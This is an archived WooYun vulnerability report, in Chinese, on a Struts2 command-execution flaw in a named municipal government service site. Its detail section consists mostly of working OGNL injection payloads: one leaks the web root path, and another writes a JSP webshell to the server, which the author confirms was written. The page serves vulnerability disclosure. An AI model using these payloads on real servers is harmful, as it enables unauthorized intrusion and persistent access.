当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-038844

漏洞标题:某市行政服务中心st2命令执行漏洞

相关厂商:某市行政服务中心

漏洞作者: 路人甲

提交时间:2013-11-06 17:05

修复时间:2013-12-21 17:06

公开时间:2013-12-21 17:06

漏洞类型:命令执行

危害等级:中

自评Rank:6

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-06: 细节已通知厂商并且等待厂商处理中
2013-11-10: 厂商已经确认,细节仅向厂商公开
2013-11-20: 细节向核心白帽子及相关领域专家公开
2013-11-30: 细节向普通白帽子公开
2013-12-10: 细节向实习白帽子公开
2013-12-21: 细节向公众公开

简要描述:

http://www.hbxz.gov.cn/indexAction.action 爆出根目录,可以执行命令

详细说明:

3.jpg


随便找个界面http://www.hbxz.gov.cn/common/common_info.action?wid=201211271614571107
下面这个语句来爆
?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
来爆路径
?redirect:${
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
写文件
http://www.hbxz.gov.cn/css3.jsp
写入成功,进一步测试就算了

4.jpg


http://www.hbxz.gov.cn/css3.jsp

漏洞证明:

4.jpg


http://www.hbxz.gov.cn/css3.jsp

修复方案:

修复就行了

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-11-10 22:07

厂商回复:

添加对漏洞的 补充说明以及做出评价的理由

最新状态:

暂无